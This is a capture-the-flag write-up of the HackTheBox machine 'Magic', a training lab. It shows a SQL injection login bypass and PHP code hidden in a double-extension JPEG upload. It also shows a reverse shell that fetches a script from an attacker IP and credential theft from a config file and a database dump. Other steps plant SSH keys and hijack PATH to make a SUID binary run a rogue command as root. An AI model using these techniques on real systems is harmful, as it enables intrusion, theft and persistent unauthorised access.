HackTheBox - Magic
Magic just retired on HackTheBox. It is a Medium difficulty Linux box that required a lot enumeration in order to not miss any crucial information. While rated Medium I would advise this box for beginner trying to make the jump from Easy boxes since there is not a lot of rabbit hole and both user and root flag are quite logical and straightforward to get.
Tl;Dr: The user flag is accessible after multiple steps. First you have to bypass a restricted file upload form to upload and run a Web-Shell as www-data
user. With this access you can find MySQL credentials in a configuration file. Dumping the database allows you get theseus
password and access his user account where the fag is.
The root flag was accessible by abusing a custom binary that could be run as root
with sudo
without password by editing the $PATH
variable to make the binary run your custom commands.
Alright! Let’s get into the details now!
First thing first, let’s add the box IP to the hosts file:
1 | [hg8@archbook ~]$ echo "10.10.10.185 magic.htb" >> /etc/hosts |
and let’s start!
User Flag
Recon
Let’s start with the classic nmap
scan to see which ports are open on the box:
1 | [hg8@archbook ~]$ nmap -sV -sT -sC magic.htb |
We have a classical web app running on port 80 and the SSH port 22 open.
Opening http://magic.htb
display a following page:
At first look, it seems like a classical image gallery website. It doesn’t seem we can access anything without login in.
Out of curiosity I tried a few common SQL injection on the login form and surprisingly the infamous ' or 1--
worked. Once again this is a good reminder to never skip the basics…
Logging in with ' or 1--
as username and password brings us to the following upload form:
As usual with Upload form the best way to go is to upload a Web-Shell to gain Remote Code execution on the back-end. We knows the server run PHP so let’s try to upload a simple php file containing <?php phpinfo();
.
With no surprises the server returns the following message:
Sorry, only JPG, JPEG & PNG files are allowed.
From here we can try few of the most common file upload restriction bypass:
- Changing extension (
test.PHp
,test.php5
) - Content-type bypass
- Double extension (
test.php.jpg
,test.jpg.php
) - Null Character (
test.php%00.jpg
) - Using GIF89a; header
Abusing Double Extension
The only method that worked is the double extension attack. As a reminder here is the issue with double extension on some Apache configuration:
Files can have more than one extension; the order of the extensions is normally irrelevant. For example, if the file welcome.html.fr maps onto content type text/html and language French then the file welcome.fr.html will map onto exactly the same information.
Therefore if you have a file in the following format : hg8.php.123
it may be interpreted as a PHP file by Apache Server (depending on the configuration).
In our case if the server is validating the file extension and the mime-type it should be possible to upload a image file appended with php code and with the following extension .php.jpg
. This files will pass all the upload form checks but will be able interpreted as PHP by Apache.
To clarify the idea, let’s see in practice.
- Let’s download a very small (but valid) JPEG image. I will use one from this repository:
1 | [hg8@archbook ~]$ wget https://raw.githubusercontent.com/mathiasbynens/small/master/jpeg.jpg |
- Append PHP code to the image with a simple
echo
:
1 | [hg8@archbook ~]$ echo "<?php phpinfo();" >> hg8.php.jpg |
- Upload the file to the server.
Once uploaded we get the following success message:
The file hg8.php.jpg has been uploaded.
Following the pattern of other images displayed on the homepage, we can guess that our file path is available at http://magic.htb/images/uploads/hg8.php.jpg
. Let’s open it:
Bingo, we got php to execute on the server.
Upload and launch of Reverse Shell
Let’s do the same to upload a reverse shell on the server using php. Here is one way to do so:
1 | "wget 10.10.14.7:8000/hg8.py -O /tmp/hg8.py"); exec( |
Let’s open our listener:
1 | [hg8@archbook ~]$ nc -l -vv -p 8585 |
Then after upload and opening our php/image file a new connection appear:
1 | [hg8@archbook ~]$ nc -l -vv -p 8585 |
We have a shell as www-data
, that’s a good start. First let’s upgrade our shell to get a fully interactive one and ease our work:
1 | $ id |
Alright! We can now do a bit of recon for interesting files. Like in most of web app we can often find credentials in a config.php
or database.php
file. This one followed the rule:
1 | www-data@ubuntu:/$ cat /var/www/Magic/db.php5 |
Pivot www-data -> theseus
Good, we got the MySQL database credentials. Let’s connect to the database to see if we can find valuable informations and maybe other user accounts details:
1 | www-data@ubuntu:/$ mysql -u theseus -p |
Well that sucks. Maybe another binary can help us access the database ?
1 | www-data@ubuntu:/$ find /usr/bin -name "*sql*" |
That should be more than enough. Let’s use mysqldump
to dump the whole database so we can take a look at it offline:
1 | www-data@ubuntu:/$ mkdir /tmp/.hg8/ |
Can this be the credentials of theseus
user ? Since it’s the only user on the box ? Let’s give it a try:
1 | www-data@ubuntu:/$ su - theseus |
To ease our future progress with a more confortable shell let’s add our SSH key to theseus
user authorized_keys
file:
1 | theseus@ubuntu:~$ echo "ssh-rsa Axxxxxxxx [email protected]" >> ~/.ssh/authorized_keys |
1 | [hg8@archbook ~]$ ssh -i id_rsa_htb [email protected] |
Root Flag
Recon
While doing our classical recon for privilege escalation, a uncommon SUID binary pop out of our search:
1 | theseus@ubuntu:~$ find /bin -perm -4000 |
As it’s name indicate, running the binary displays system information:
1 | theseus@ubuntu:~$ /bin/sysinfo |
Since this binary looks like homemade and running as root
let’s dig a bit since it’s probably our way to privilege escalation.
When running an unknown binary it’s always interesting to open it with ltrace
to understand better what’s going on behind the hood. While doing so we can notice something valuable:
1 | theseus@ubuntu:~$ ltrace /bin/sysinfo 2>&1 | grep popen |
The binary is actually running various other binaries to get the needed informations. But something dangerous is happening here. The binary path is only relative instead of being absolute like : /usr/bin/lshw
.
In Linux, when you type a command, like for example cat
the system will look at the current user defined $PATH
variable to know in which directory to search for the cat
binary. By default, the $PATH
variable contains the following locations:
- /usr/bin
- /usr/sbin
- /usr/local/bin
- /usr/local/sbin
- /bin
- /sbin
If the system find the binary cat
in the first folder it stop the search and run the binary.
Since we have control over the current user $PATH variable, it’s should be possible to edit the list to something like so:
- /tmp/.hg8/
- /usr/bin
- /usr/sbin
- /usr/local/bin
- /usr/local/sbin
- /bin
- /sbin
That mean if we put a rogue cat
binary in /tmp/.hg8/
, it’s this rogue binary that will get executed first whenever we type cat
. See the issue now?
Let’s use this knowledge to exploit the sysinfo
SUID binary.
First, let’s add our “rogue” directory to the current $PATH
:
1 | theseus@ubuntu:~$ PATH=/tmp/.hg8/:$PATH |
Now, since we know that /bin/sysinfo
is running fdisk
, let’s create a fake fdisk
file with our malicious content inside. For example we can append our SSH key to the root
user authorized_keys
file.
1 | theseus@ubuntu:~$ cat /tmp/.hg8/fdisk |
Now sysinfo
should pick our fake fdisk
and since sysinfo
have SUID set our fdisk
should be run as root
. Let’s verify this:
1 | theseus@ubuntu:~$ /bin/sysinfo |
Looks like everything went fine, we should now be able to login as root
:
1 | [hg8@archbook ~]$ ssh -i id_rsa_htb [email protected] |
That’s it folks! As always do not hesitate to contact me for any questions or feedbacks!
See you next time ;)
-hg8